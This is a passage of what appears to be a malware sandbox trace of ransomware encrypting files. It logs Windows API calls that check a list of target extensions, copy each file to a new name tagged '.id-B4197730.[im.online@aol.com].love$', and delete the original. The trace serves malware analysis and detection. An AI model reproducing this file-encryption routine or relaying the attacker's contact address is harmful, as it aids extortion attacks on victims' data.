(lpString=".rar") returned 4 [0101.038] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0101.038] lstrlenW (lpString=".bz2") returned 4 [0101.038] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0101.038] lstrlenW (lpString=".7z") returned 3 [0101.038] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0101.038] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0101.038] lstrlenW (lpString=".dbf") returned 4 [0101.038] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0101.038] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0101.038] lstrlenW (lpString=".1cd") returned 4 [0101.038] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0101.038] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0101.038] lstrlenW (lpString=".jpg") returned 4 [0101.038] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0101.039] lstrcmpiW (lpString1=".ico", lpString2=".love$") returned -1 [0101.039] lstrlenW (lpString="Print.ico") returned 9 [0101.039] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0101.041] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=1150) returned 1 [0101.041] CloseHandle (hObject=0x344) returned 1 [0101.041] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 0x80 [0101.041] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0101.042] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0101.042] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0101.042] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0101.042] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0101.043] GetLastError () returned 0x0 [0101.043] ReadFile (in: hFile=0x344, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x47e, lpOverlapped=0x0) returned 1 [0101.045] WriteFile (in: hFile=0x34c, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x480, lpOverlapped=0x0) returned 1 [0101.051] ReadFile (in: hFile=0x344, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0101.051] WriteFile (in: hFile=0x34c, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0xe6, lpOverlapped=0x0) returned 1 [0101.051] SetEndOfFile (hFile=0x34c) returned 1 [0101.051] CloseHandle (hObject=0x34c) returned 1 [0101.052] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0101.052] SetEndOfFile (hFile=0x344) returned 1 [0101.053] CloseHandle (hObject=0x344) returned 1 [0101.054] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0101.054] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 1 [0101.054] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0101.054] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0101.054] lstrlenW (lpString=".doc") returned 4 [0101.054] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0101.054] lstrlenW (lpString=".docx") returned 5 [0101.054] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0101.055] lstrlenW (lpString=".pdf") returned 4 [0101.055] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0101.055] lstrlenW (lpString=".xls") returned 4 [0101.055] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0101.055] lstrlenW (lpString=".xlsx") returned 5 [0101.055] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0101.055] lstrlenW (lpString=".ppt") returned 4 [0101.055] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0101.055] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0101.055] lstrlenW (lpString=".zip") returned 4 [0101.055] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0101.055] lstrlenW (lpString=".rar") returned 4 [0101.055] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0101.055] lstrlenW (lpString=".bz2") returned 4 [0101.055] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0101.055] lstrlenW (lpString=".7z") returned 3 [0101.055] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0101.055] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0101.055] lstrlenW (lpString=".dbf") returned 4 [0101.055] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0101.055] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0101.055] lstrlenW (lpString=".1cd") returned 4 [0101.055] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0101.055] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0101.055] lstrlenW (lpString=".jpg") returned 4 [0101.055] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0101.055] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0101.056] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0101.056] lstrlenW (lpString=".doc") returned 4 [0101.056] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0101.056] lstrlenW (lpString=".docx") returned 5 [0101.056] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0101.056] lstrlenW (lpString=".pdf") returned 4 [0101.056] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0101.056] lstrlenW (lpString=".xls") returned 4 [0101.056] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0101.056] lstrlenW (lpString=".xlsx") returned 5 [0101.056] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0101.056] lstrlenW (lpString=".ppt") returned 4 [0101.056] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0101.056] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0101.056] lstrlenW (lpString=".zip") returned 4 [0101.056] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0101.056] lstrlenW (lpString=".rar") returned 4 [0101.056] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0101.056] lstrlenW (lpString=".bz2") returned 4 [0101.056] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0101.056] lstrlenW (lpString=".7z") returned 3 [0101.056] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0101.056] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0101.056] lstrlenW (lpString=".dbf") returned 4 [0101.520] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0101.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0101.521] lstrlenW (lpString=".1cd") returned 4 [0101.521] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0101.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0101.521] lstrlenW (lpString=".jpg") returned 4 [0101.521] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0101.521] lstrcmpiW (lpString1=".ico", lpString2=".love$") returned -1 [0101.521] lstrlenW (lpString="Rotate4.ico") returned 11 [0101.521] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0102.905] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=894) returned 1 [0102.905] CloseHandle (hObject=0x2d8) returned 1 [0102.906] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 0x80 [0102.916] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0102.917] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0102.917] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.917] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.917] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0102.917] GetLastError () returned 0x0 [0102.917] ReadFile (in: hFile=0x2d8, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x37e, lpOverlapped=0x0) returned 1 [0102.923] WriteFile (in: hFile=0x2b8, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x380, lpOverlapped=0x0) returned 1 [0102.924] ReadFile (in: hFile=0x2d8, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0102.924] WriteFile (in: hFile=0x2b8, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0xea, lpOverlapped=0x0) returned 1 [0102.924] SetEndOfFile (hFile=0x2b8) returned 1 [0102.925] CloseHandle (hObject=0x2b8) returned 1 [0102.926] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.926] SetEndOfFile (hFile=0x2d8) returned 1 [0102.927] CloseHandle (hObject=0x2d8) returned 1 [0102.927] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0102.928] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 1 [0102.928] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0102.928] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0102.928] lstrlenW (lpString=".doc") returned 4 [0102.928] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0102.928] lstrlenW (lpString=".docx") returned 5 [0102.928] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1 [0102.928] lstrlenW (lpString=".pdf") returned 4 [0102.928] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0102.928] lstrlenW (lpString=".xls") returned 4 [0102.928] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0102.928] lstrlenW (lpString=".xlsx") returned 5 [0102.928] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1 [0102.928] lstrlenW (lpString=".ppt") returned 4 [0102.928] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0102.928] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0102.928] lstrlenW (lpString=".zip") returned 4 [0102.929] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0102.929] lstrlenW (lpString=".rar") returned 4 [0102.929] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0102.929] lstrlenW (lpString=".bz2") returned 4 [0102.929] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0102.929] lstrlenW (lpString=".7z") returned 3 [0102.929] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0102.929] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0102.929] lstrlenW (lpString=".dbf") returned 4 [0102.929] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0102.929] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0102.929] lstrlenW (lpString=".1cd") returned 4 [0102.929] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0102.929] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0102.929] lstrlenW (lpString=".jpg") returned 4 [0102.929] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0102.929] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0102.929] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0102.929] lstrlenW (lpString=".doc") returned 4 [0102.929] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0102.929] lstrlenW (lpString=".docx") returned 5 [0102.929] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1 [0102.929] lstrlenW (lpString=".pdf") returned 4 [0102.929] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0102.929] lstrlenW (lpString=".xls") returned 4 [0102.929] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0102.929] lstrlenW (lpString=".xlsx") returned 5 [0102.930] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1 [0102.930] lstrlenW (lpString=".ppt") returned 4 [0102.930] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0102.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0102.930] lstrlenW (lpString=".zip") returned 4 [0102.930] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0102.930] lstrlenW (lpString=".rar") returned 4 [0102.930] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0102.930] lstrlenW (lpString=".bz2") returned 4 [0102.930] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0102.930] lstrlenW (lpString=".7z") returned 3 [0102.930] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0102.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0102.930] lstrlenW (lpString=".dbf") returned 4 [0102.930] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0102.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0102.930] lstrlenW (lpString=".1cd") returned 4 [0102.930] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0102.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0102.930] lstrlenW (lpString=".jpg") returned 4 [0102.930] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0102.930] lstrcmpiW (lpString1=".ico", lpString2=".love$") returned -1 [0102.930] lstrlenW (lpString="Rotate8.ico") returned 11 [0102.931] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0102.932] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=894) returned 1 [0102.932] CloseHandle (hObject=0x2d8) returned 1 [0102.932] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 0x80 [0102.932] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0102.932] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0102.932] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.932] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.932] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0102.932] GetLastError () returned 0x0 [0102.933] ReadFile (in: hFile=0x2d8, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x37e, lpOverlapped=0x0) returned 1 [0102.948] WriteFile (in: hFile=0x2b8, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x380, lpOverlapped=0x0) returned 1 [0102.949] ReadFile (in: hFile=0x2d8, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0102.949] WriteFile (in: hFile=0x2b8, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0xea, lpOverlapped=0x0) returned 1 [0102.949] SetEndOfFile (hFile=0x2b8) returned 1 [0102.950] CloseHandle (hObject=0x2b8) returned 1 [0102.952] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.952] SetEndOfFile (hFile=0x2d8) returned 1 [0102.956] CloseHandle (hObject=0x2d8) returned 1 [0102.956] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0102.956] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 1 [0102.957] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0102.957] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0102.957] lstrlenW (lpString=".doc") returned 4 [0102.957] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0102.957] lstrlenW (lpString=".docx") returned 5 [0102.957] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1 [0102.957] lstrlenW (lpString=".pdf") returned 4 [0102.957] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0102.957] lstrlenW (lpString=".xls") returned 4 [0102.957] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0102.957] lstrlenW (lpString=".xlsx") returned 5 [0102.957] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1 [0102.957] lstrlenW (lpString=".ppt") returned 4 [0102.957] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0102.957] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0102.957] lstrlenW (lpString=".zip") returned 4 [0102.957] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0102.957] lstrlenW (lpString=".rar") returned 4 [0102.957] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0102.957] lstrlenW (lpString=".bz2") returned 4 [0102.957] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0102.958] lstrlenW (lpString=".7z") returned 3 [0102.958] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0102.958] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0102.958] lstrlenW (lpString=".dbf") returned 4 [0102.958] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0102.958] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0102.958] lstrlenW (lpString=".1cd") returned 4 [0102.958] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0102.958] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0102.958] lstrlenW (lpString=".jpg") returned 4 [0102.958] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0102.958] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0102.958] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0102.958] lstrlenW (lpString=".doc") returned 4 [0102.958] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0102.958] lstrlenW (lpString=".docx") returned 5 [0102.958] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1 [0102.958] lstrlenW (lpString=".pdf") returned 4 [0102.958] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0102.958] lstrlenW (lpString=".xls") returned 4 [0102.958] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0102.958] lstrlenW (lpString=".xlsx") returned 5 [0102.958] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1 [0102.958] lstrlenW (lpString=".ppt") returned 4 [0102.958] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0102.958] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0102.958] lstrlenW (lpString=".zip") returned 4 [0102.958] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0102.959] lstrlenW (lpString=".rar") returned 4 [0102.959] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0102.959] lstrlenW (lpString=".bz2") returned 4 [0102.959] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0102.959] lstrlenW (lpString=".7z") returned 3 [0102.959] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0102.959] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0102.959] lstrlenW (lpString=".dbf") returned 4 [0102.959] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0102.959] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0102.959] lstrlenW (lpString=".1cd") returned 4 [0102.959] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0102.959] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0102.959] lstrlenW (lpString=".jpg") returned 4 [0102.959] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0102.959] lstrcmpiW (lpString1=".ico", lpString2=".love$") returned -1 [0102.959] lstrlenW (lpString="Setup.ico") returned 9 [0102.959] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0102.960] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=36710) returned 1 [0102.960] CloseHandle (hObject=0x2d8) returned 1 [0102.960] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 0x80 [0102.960] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0102.960] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0102.960] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.960] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.960] CreateFileW 